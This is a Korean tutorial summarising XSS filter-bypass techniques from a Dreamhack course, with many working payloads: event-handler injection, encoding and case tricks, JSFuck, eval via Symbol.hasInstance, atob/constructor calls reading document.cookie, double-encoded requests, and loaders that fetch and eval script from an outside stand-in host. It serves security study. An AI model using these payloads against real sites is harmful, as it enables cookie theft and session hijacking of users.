XSS(Cross-Site Script) 필터링 우회기법 정리

XSS(Cross-Site Script) 필터링 우회기법 정리

in

해당 내용은 Dreamhack Web Hacking 로드맵의 “XSS Filtering Bypass” 내용을 정리한 것 입니다.

개발자가 생각하지 못한 XSS 발생 키워드가 존재할 수 있기 때문에 위협을 근본적으로 제거하기 위해서는 문자열 필터링이 아닌 태그 삽입이 되지 않도록 처음부터 원인을 제거하는 것이 중요 합니다.

여기서는 XSS 필터링이 적용된 환경에서 필터링을 우회하는 기법에 대해 정리했습니다.

1. 이벤트 핸들러 속성을 이용한 우회

자바스크립트 코드를 실행할 수 있는 포인트는 이외에도 상당수 존재합니다. 보통 태그의 속성 값으로 스크립트를 포함할 수 있는 경우가 다수 존재하며, 대표적으로 이벤트 핸들러를 지정하는 “on”으로 시작하는 속성들이 있습니다.

이벤트 핸들러의 종류는 아래 링크를 참조하면 됩니다. https://developer.mozilla.org/ko/docs/Web/Events

참고로 자주 사용되는 이벤트 핸들러 속성으로는 onload, onerror, onfocus가 있습니다.

1) onload 이벤트 핸들러

<img src="https://127.0.0.1/test.jpg" onload="alert(document.domain)">
<!-- → 유효한 이미지 로드 후 onload 핸들러 실행 -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onload 핸들러 실행하지 않음 -->

2) onerror 이벤트 핸들러

<img src="valid.jpg" onerror="alert(document.domain)">
<!-- → 유효한 이미지 로드 성공, onerror 핸들러 실행하지 않음 -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onerror 핸들러 실행 -->

3) onfocus 이벤트 핸들러

autofocus를 사용하여 페이지가 로드되자마자 포커스할 수 있는 방법이 있으며, reflected XSS공격시 URL에 #inputID 를 끝에 추가하여 자동으로 포커스 되도록 할 수 있습니다.

<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
<!-- → autofocus 속성으로 인해 페이지가 로드되지마자 바로 input 태그에 포커스함, 포커스된 직후 onfocus 핸들러 실행 -->


2. 문자열 치환 XSS 필터 우회

단순 script나 onload같은 속성을 공백으로 치환하는 환경에서의 우회 방법 입니다.

단순히 의심되는 구문을 제거하기만 하는 경우 필터링되는 키워드 사이에 새로운 필터링 키워드를 삽입하는 방식으로 간단히 우회가 가능합니다.

(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />

해당 우회방법의 대응 방법으로 아래처럼 지속적으로 치환하는 방식을 사용하는 경우도 있습니다.

function replaceIterate(text) {
    while (true) {
        var newText = text
            .replace(/script|onerror/gi, '');
        if (newText === text) break;
        text = newText;
    }
    return text;
}


3. javascript: 스키마를 통한 우회

URL을 속성값으로 받는 a태그나 iframe 태그 등에 javascript: 스키마를 사용해서 스크립트가 실행되도록 할 수 있습니다.(img 태그에서는 동작하지 않습니다.)

<a href=”javascript:alert(’xss’)”> 
<iframe src=”javascript:alert(’xss’)”></iframe>

이 경우에 브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화를 이용해 우회할 수 있는 경우가 존재합니다.

정규화는 동일한 리소스를 나타내는 서로 다른 URL들을 통일된 형태로 변환하는 과정이며, 해당 과정을 통해 \x01, \x04, \t와 같은 특수문자들이 제거되며 스키마내 대소문자가 통일 됩니다.

해당 우회기법을 사용하면 on이나 script에 필터링이 적용되어있는 환경에서도 javascript 스키마를 통해 필터링을 우회할 수 있습니다.

아래는 특수문자를 포함한 우회의 예시 입니다.

<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">

또한 HTML 태그의 속성 내에서는 HTML Entity Encoding을 사용할수 있기 때문에 이를 이용해 javascript: 스키마나 이외의 XSS 키워드를 인코딩하여 필터링을 우회하는 경우도 존재합니다.

아래는 HTML Entity Encoding을 통한 우회 예시입니다.

<a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>
<iframe src="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">

javascript는 URL 객체를 통해 직접 정규화할 수 있으며 protocol, hostname 등의 각종 URL정보를 추출 가능합니다. 이는 URL을 정규화 결과를 볼 수 있기에 XSS 필터링 우회 공격 구문을 작성할 때 유용합니다.

function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAva\tScRIpT:alert(1)')
--> "javascript:alert"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAva\tScRIpT:alert(1)').pathname
--> "alert(1)"


4. 대문자 혹은 소문자만을 인식하는 필터 우회

특정 키워드의 대소문자를 모두 검사하지 않을 경우 이를 우회할 수 있다. HTML은 문법상 태그와 속성에서 대/소문자를 구별하지 않기 때문에 우회가 가능합니다.

보통 정규식으로 필터링할때 i(ignore case) 옵션이 누락되서 발생하는 하는 경우가 많습니다.

<sCRipT>alert(document.cookie)</scriPT>
<img src="#" oneRroR=alert(document.cookie) />


5. 잘못된 정규식 사용한 환경에서의 우회

잘못된 정규식을 사용하는 환경에서의 우회방법 입니다.

1) Case 1

해당 정규식은 <script>~< 형태의 문자열을 감지하는 정규식 입니다.

x => !/<script[^>]*>[^<]/i.test(x)

<script>태그는 태그 내에 데이터가 존재하지 않더라도 src 속성을 이용해 데이터를 입력할 수 있습니다. 해당 정규식은 <script></script> 처럼 script태그 사이에 바로 “<“가 온다면 잡지 않는 문제점이 있으며 아래와 같이 우회가 가능합니다.

<script src="data:,alert(document.cookie)"></script>

2) Case 2

img태그에 on이벤트 핸들러가 존재하는지 검사하는 정규식 입니다.

x => !/<img.*on/i.test(x)

그러나 해당 정규식은 멀티 라인에 대한 검사가 존재하지 않기 때문에 문제가 될 수 있으며, 아래처럼 줄바꿈 문자(\n)를 이용해 우회할 수 있습니다.

<img src=""\nonerror="alert(document.cookie)"/>


6. 특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터 우회

HTML 내에는 굉장히 다양한 종류의 태그와 속성들이 존재 합니다. 따라서 보편적으로 사용되는 script, img, input, iframe과 같은 태그만을 필터링 한다고 해서 모든 XSS 공격을 막을 수 있다고 할 수 없습니다.

아래는 단순히 blacklist 방식으로 특정 태그를 사용하지 못하는 필터링 입니다.

x => !/<script|<img|<input/i.test(x)

이는 당연하게도 필터링 리스트에 존재하지 않는 태그를 사용해서 우회가 가능합니다.

<video><source onerror="alert(document.domain)"/></video>
<body onload="alert(document.domain)"/>
<svg src=about: onload=alert(document.domain)>

위에서 예를 든 필터링에서 추가적으로 on 이벤트 핸들러를 사용하지 못하도록하고, 멀티라인을 싱글라인으로 해석하도록 하는 옵션을 추가했습니다.

x => !/<script|<img|<input|<.*on/is.test(x)

이러한 우회방법으로는 inner frame을 생성하는 iframe 태그를 사용해 우회가 가능 합니다. 해당 태그의 src 속성은 URL을 인자로 받기 때문에 javascript: 스키마를 사용하여 코드를 삽입하는것이 가능하며 추가적으로 srcdoc 속성을 이용해서 inner frame 내에 새로운 XSS 공격코드를 삽입하는 것이 가능 합니다.

  • srcdoc - <iframe> 요소에 보일 HTML 코드로 반드시 유효한 HTML 코드이어야 합니다.

추가적으로, HTML 속성 내에 들어가기 때문에 Entity Encoding으로 기존 필터링을 우회하는것 또한 가능합니다.

<iframe src="javascript:alert(parent.document.domain)">
<iframe srcdoc="<&#x69;mg src=1 &#x6f;nerror=alert(parent.document.domain)>">

추가적으로, 아래는 data를 소문자로 변환한 후 “script” 문자열과 “on” 문자열이 포함되어 있는지 확인하는 필터링 입니다.

function XSSFilter(data){
  if(data.toLowerCase().includes('script') || 
     data.toLowerCase().includes('on')){
    return false;
  }
  return true;
}

script 태그와 on* 이벤트핸들러 외에도 XSS으로 사용될 수 있는 태그들을 이용하면 우회가 가능 합니다.

srcdoc을 통한 HTML 태그 삽입시 Entity가 사용가능해지므로 여러 방법으로 응용하여 우회가 가능해집니다.

<iframe src="java&#115;cript:parent.alert('xss')">
<iframe srcdoc='<img src=about: o&#110;error=parent.alert(document.domain)>'></iframe>

위 페이로드에서 parent.alert를 사용하는 이유는 일반 alert를 사용할 경우 iframe 내부에서 호출되기 때문 입니다.

session hijacking 등의 공격시 탈취하려는 session은 iframe내부가 아닌 iframe을 호출하는 상위 문서에 존재하기 때문에, parent.alert를 호출하여 스크립트가 호출되는 영역의 상위 문서에 alert를 호출하도록 합니다.


7. 자바스크립트 함수 및 키워드 필터링을 이용한 우회

1) Unicode escape sequence를 이용한 우회

javascript는 “Unicode escape sequence”를 지원하는데, Unicode escape sequence란 \uAC00" == "가” 와 같이 문자열에서 유니코드 문자를 코드포인트로 나타낼 수 있는 표기법입니다.

유니코드 이스케이프의 길이는 \u를 포함한 6자 이며 \u 뒤에 정확히 4개의 문자가 필요합니다. 16진수 문자 코드의 길이가 4자리가 안된다면 0으로 채워야 합니다.

이러한 unicode escape sequence를 이용해서 문자열 필터링을 우회할수 있으며 아래는 그 예시입니다.

var foo = "\u0063ookie";  // cookie
var bar = "cooki\x65";  // cookie
\u0061lert(document.cookie);  // alert(document.cookie)

2) Computed member access를 이용한 우회

Property Accessors”란 아래와 같이 객체의 특성 속성에 접근할 때 구두점 및 대괄호를 이용하여 객체 속성에 대한 액세스를 제공하는 기능 입니다.

일반적으로 구두점을 이용하여 객체의 속성에 접근하는 방식을 사용합니다. 그러나 대괄호로 접근할 경우 “Computed Member Access”를 사용하여 ‘+’ 연산자로 속성의 이름을 연결 시킬수 있습니다.

document["coo"+"kie"] == document["cookie"] == document.cookie

만일, Session Hijacking 공격 방지를 위해 “cookie” 문자열이 필터링 되어있다고 가정하면 아래와 같이 필터링 된 속성값을 문자열을 자르거나 변형하는 등의 방법으로 우회가 가능합니다.

alert(document["\u0063ook" + "ie"]);  // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]);  // alert(document.cookie)

이와 같이 단순히 특정 키워드만을 필터링한 경우에는 우회할 수 있는 방법이 굉장히 다양합니다.

아래는 XSS 공격 필터링에 사용되는 구문과 필터링 우회를 위해 사용될 수 있는 대체 예시들 입니다.

구문 대체 구문
alert, XMLHttpRequest 등 문서 최상위 객체 및 함수 window[‘al’+’ert’], window[‘XMLHtt’+’pRequest’] 등 이름 끊어서 쓰기
window self, this
eval(code) Function(code)()
Function isNaN[‘constr’+’uctor’] 등 함수의 constructor 속성 접근


3) 6개의 문자([]()!+)를 이용한 우회

극단적인 사례로 자바스크립트의 언어적 특성을 활용하면 6개의 문자([]()!+)만으로 모든 동작을 수행할 수 있습니다.

JSFuck XSS Payload

// alert(1)
this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])
// alert(1)
this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))

references: https://www.hahwul.com/2018/09/15/jsfuck-xss-payload/

해당 기법은 cookie와 같이 기존 XSS 필터링에서 주로 탐지하는 단어들을 언급하지 않아도 된다는 장점이 있어 상당수의 웹 사이트들 공격하는 데에 활용되어 왔습니다. 그러나 XSS 공격 구문의 길이가 늘어나 공격이 제한될 수 있는 단점이 존재합니다.

또한 필터링 혹은 인코딩/디코딩 등의 이유로 특정 문자( (),[],",' 등)를 사용하지 못하게 하는 경우가 있습니다. 그러나 자바스크립트는 다양한 문법을 지원하는 언어로써 해당 문자를 대체할 수 있는 방법들을 통해 우회하여 공격할 수 있습니다.

템플릿 리터럴 (Template Literals)

템플릿 리터럴은 내장된 표현식을 허용하는 문자열 리터럴이며, 여러 줄로 이뤄진 문자열과 문자를 보관하기 위한 기능으로 이용할 수 있습니다.

템플릿 리터럴은 백틱 (```)을 이용해 선언할 수 있으며 내장된 ${} 표현식을 이용해 다른 변수나 식을 사용할 수 있습니다.

var foo = "Hello";
var bar = "World";

var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."

따옴표와 백틱을 모두 사용하지 못할 때에도 문자열을 만드는 방법은 존재합니다.

RegExp 객체 사용

/Hello World!/ 형태로 RegExp 객체를 생성하고 객체의 패턴 부분을 가져옴으로써 문자열을 만들 수 있습니다.

var foo = /Hello World!/.source;  // "Hello World!"
var bar = /test !/ + [];  // "/test !/"

String.fromCharCode 함수 사용

String.fromCharCode 함수는 유니코드의 범위 중 파라미터로 전달된 수에 해당 하는 문자를 반환합니다.

var foo = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"

기본 내장 함수나 객체의 문자를 사용하는 방법

내장 함수나 객체를 toString 함수를 이용해 문자열로 변경하게 되면 함수나 객체의 형태가 문자열로 변환됩니다. 원하는 문자열을 만드는데 필요한 문자들을 내장 함수나 객체로부터 한 글자씩 가져와 문자열을 만들 수 있습니다.

var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
[URL+[]][0][13] // ")"

history.toString() 은 "[object History]" 문자열을 반환하고, URL.toString()은 "function URL() { [native code] }" 문자열을 반환합니다. 또한 history+[]; history+0; 처럼 함수나 객체와 +- 와 같은 산술 연산을 수행하게 되면 연산을 위해 객체 내부적으로 toString 함수를 호출해 문자열로 변환한 후에 연산을 수행합니다.

36진수를 이용한 문자 할당

10진수 숫자를 36진수로 변경하여 아스키 영어 소문자 범위를 모두 생성할 수 있습니다. 이 때 사용되는 연산자로 E4X 연산자 ("..")가 존재합니다. 주로 점 두개를 쓰거나, 소수점으로 인식되지 않도록 공백과 점을 조합해 사용할 수 있습니다.

var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"


8. 함수 호출 필터링 우회

일반적으로 자바스크립트 함수를 호출하기 위해서는 소괄호 또는 백틱(`)을 사용해야 합니다.

alert(1); // Parentheses
alert`1`; // Tagged Templates

만약 소괄호와 백틱 문자가 모두 필터링 되어있는 경우, 다음과 같은 방법들로 우회할 수 있습니다.

1) javascript 스키마를 이용한 location 변경

javascript: 스키마를 이용하면 URL을 이용해 자바스크립트 코드를 실행시킬 수 있습니다. 이를 이용해 현재 location 객체를 변조하는 방식으로 자바스크립트 코드를 실행하는 것이 가능합니다.

location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";

2) Symbol.hasInstance 오버라이딩

자바스크립트에서는 문자열 이외에도 ECMAScript 6에서 추가된 Symbol 또한 속성 명칭으로 사용할 수 있습니다.

Symbol.hasInstance well-known symbol을 이용하면 instanceof 연산자를 오버라이드할 수 있습니다. 

참고로 instanceof 연산자는 해당 객체가 어느 인스턴스에 속하는지 boolean형을 리턴하는 함수이며, Symbol.hashInstance는 객체의 상속을 결정하기 위해 instanceof 가 사용하는 메서드 입니다.

O instanceof C를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우, 이를 메소드로 호출하여 instanceof 연산자의 결과 값으로 사용하게 됩니다. 이 특성을 이용해 instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있습니다.

"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];

위 페이로드에 대한 설명을 하자면, ES6부터 “Computed Property Name”이 도입되면서 변수명이나 함수의 리턴값을 key값으로 사용할 수 있게 되어 a 객체의 속성 key값으로 Symbol.hasInstance로 설정, 값을 eval로 한다면 a[Symbol.hasInstance]는 eval함수가 됩니다.

여기서 instanceof 함수는 우측에 있는 값이 오브젝트인지 판별 후 해당 오브젝트에 Symbol.hasInstance 속성이 있는지 확인하고 해당 속성에 함수가 존재할 경우 연산시 해당 함수를 사용하게 됩니다.

아래 예시에서는 첫번째 줄에서 a의 Symbol.hasInstance 속성에 eval 을 할당하고 두번째 세번째 줄로 각각 alert 명령어로 xss 경고창을 띄우게 합니다.

> a = {[Symbol.hasInstance]:eval};
> a[Symbol.hasInstance](alert('xss')) # xss !!!
> "alert('xss')" instanceof a # xss !!!

image hasInstance test

"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval}; 페이로드는 오른쪽의 값으로 빈 객체에 Symbol.hasInstance 속성 값으로 eval 함수를 할당하여 왼쪽에 위치한 값을 변수로 실행하게 됩니다.

Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];

페이로드는 Array의 prototype pollution을 이용한 방법입니다.

javascript는 prototype기반 언어로 모든 객체들은 속성과 메소드를 상속받기 위해 prototype 객체를 가지게 됩니다. 따라서 Array형의 Prototype에 Symbol.hasInstance 를 key로 값을 설정하면 모든 Array형 오브젝트들은 해당 속성을 상속받게 됩니다.

즉, Array의 prototype에 Symbol.hasInstance 속성 값으로 eval 함수를 넣게되면 모든 Array형 오브젝트에는 해당 값이 자동으로 상속되어 들어갑니다.

이를 이용해서 instanceof [] 를 하게되면 Array 내부의 Symbol.hasInstance 의 eval 함수를 메소드로 사용하게 되면서 왼쪽의 값을 실행하게 되는 것입니다.

아래는 Symbol.hasInstance 오버라이딩에 대한 이해를 돕기위한 예 입니다.

인자로 들어온 데이터를 console.log로 출력하는 함수 printhello를 a 객체의 Symbol.hasInstance의 값으로 설정한다면 instanceof 왼쪽의 값이 a(printhello)의 data로 들어가게 되는 것을 볼 수 있습니다.

> function printhello (data) {
      console.log(data + " is printhello function!");
  }
> a = {[Symbol.hasInstance]: printhello}
> "test" instanceof a

image hasintance example

3) document.body.innerHTML 추가 우회

자바스크립트에서는 문서 내에 새로운 HTML 코드를 추가하는 것이 가능합니다. document.body.innerHTML에 코드를 추가할 경우 새로운 HTML 코드가 문서에 추가되고, 이를 이용해 자바스크립트 코드를 실행할 수 있습니다.

이 때 주의할 점은 innerHTML 로 HTML 코드를 실행할 때에는 보안 상 <script>태그를 삽입해도 실행되지 않습니다. 따라서 이벤트 핸들러를 이용해 자바스크립트 코드를 실행해야 합니다.

document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";

4) decodeURI, atob & constructor XSS bypass

Javascript에서는 모든 데이터가 Object로 이루어져 있습니다. 이러한 Object가 생성될 때 초기화 등을 위해 동작하는 함수는 Constructor(생성자) 입니다. 그래서 새로운 Object를 선언할 때면 Constructor에 의해 생성이 됩니다.

따라서 아래와 같이 script태그 내부에서 constructor(생성자) 속성을 이용해서 alert를 실행할 수 있습니다.

a.constructor(alert('xss'));
a['constructor'](alert('xss'))();
a = {"constructor": alert('xss')}

이러한 점을 이용해서 decodeURI(URI 인코딩 문자열을 디코딩), atob(base64 인코딩 문자열을 디코딩) 함수를 조합하여 문자열 필터링을 우회할 수 있습니다.

/* 주요 키워드 이외에도 특수문자 등을 탐지합니다.
 * decodeURI, atob와 constructor 속성을 함께 사용하면 원하는 임의의 코드를 실행할 수 있습니다.
 */

// [atob]
// Y29uc3RydWN0b3I -> constructor
// YWxlcnQoJ3hzcycp -> alert('xss')
// YWxlcnQoZG9jdW1lbnQuY29va2llKQ -> alert(document.cookie)
Array[atob("Y29uc3RydWN0b3I")](atob("YWxlcnQoJ3hzcycp"))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();

// [decodeURI]
// %63%6F%6E%73%74%72%75%63%74%6F%72 -> constructor
// %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29 -> alert(document.cookie)
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
      decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();


9. Double Encoding 우회

본래 문자열 검증은 디코딩 등의 모든 전처리 과정을 마치고 수행되어야 하며 검증이 이미 끝난 데이터를 다시 디코딩해서는 안됩니다. 만약 검증이 끝난 데이터를 다시 디코딩 하면 공격자는 Double Encoding 기법을 사용하여 우회가 가능합니다.

아래는 검사가 미흡한 PHP서버의 예시 입니다.

<?php
$query = $_GET["query"];
if (stripos($query, "<script>") !== FALSE) {
    header("HTTP/1.1 403 Forbidden");
    die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8"));
}
...
$searchQuery = urldecode($_GET["query"]);
?>
<h1>Search results for: <?php echo $searchQuery; ?></h1>

위처럼 검증이 끝난 데이터를 다시 urldecode 하는 경우 일반적인 공격은 다음과 같이 막히게 됩니다.
%3C’ 문자가 ‘<‘로, ‘%3E’ 문자가 ‘>’ 로 치환되어 스크립트가 동작하지 않습니다.

POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
...
-----
HTTP/1.1 403 Forbidden
XSS attempt detected: &lt;script&gt;alert(document.cookie)&lt;/script&gt;

그러나 아래와 같은 페이로드는 동작합니다.

%25’ 문자가 ‘%‘로 바뀌게 되어 urldecoding을 시도한다면 ‘%3C’(%253C)는 ‘<’ 문자로, ‘%3E’(%253E) 문자는 ‘>’ 문자로 변환되어 스크립트가 동작하게 됩니다.

POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
...
-----
HTTP/1.1 200 OK
<h1>Search results for: <script>alert(document.cookie)</script></h1>


10. Bypassing XSS Length Limitations

만약 공격 지점에서 삽입할 수 있는 코드의 길이에 제한이 있는 경우, 다른 경로로 추가적인 페이로드를 URL fragment등으로 미리 삽입 후 공격을 수행하는 페이지에는 본 코드를 실행하는 짧은 코드(launcher)를 넣는 방식을 사용할 수 있습니다.

흔히 Fragment로 스크립트를 넘겨준 후 XSS 공격 지점에서 location.hash로 URL의 Fragment 부분을 추출하여 eval()로 실행하는 기법을 사용합니다.

이외에도 쿠키에 페이로드를 저장하는 방식과 import 와 같은 외부 자원을 스크립트로 로드하는 방법 또한 사용할 수 있습니다.

1) location.hash 를 이용한 공격 방식

Location.hash란 URL 내 ‘#’뒤에 나오는 식별자를 value로 하는 DOMString 입니다.

https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);

2) 외부 자원을 이용한 공격 방식

import("http://malice.dreamhack.io");
var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);
fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))


11. 응용

위에서 설명한 모든 우회 테크닉을 활용하면 아래와 같은 환경에서도 스크립트를 실행시킬 수 있습니다.

function XSSFilter(data){
  if(/[()"'`]/img.test(data)){
    return false;
  }
  return true;
}
/*
(, ), ", ', ` 문자들에 대해 탐지하는 필터링입니다.
앞서 배운 방법들을 조합하여 필터링을 우회할 수 있습니다.
*/
/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];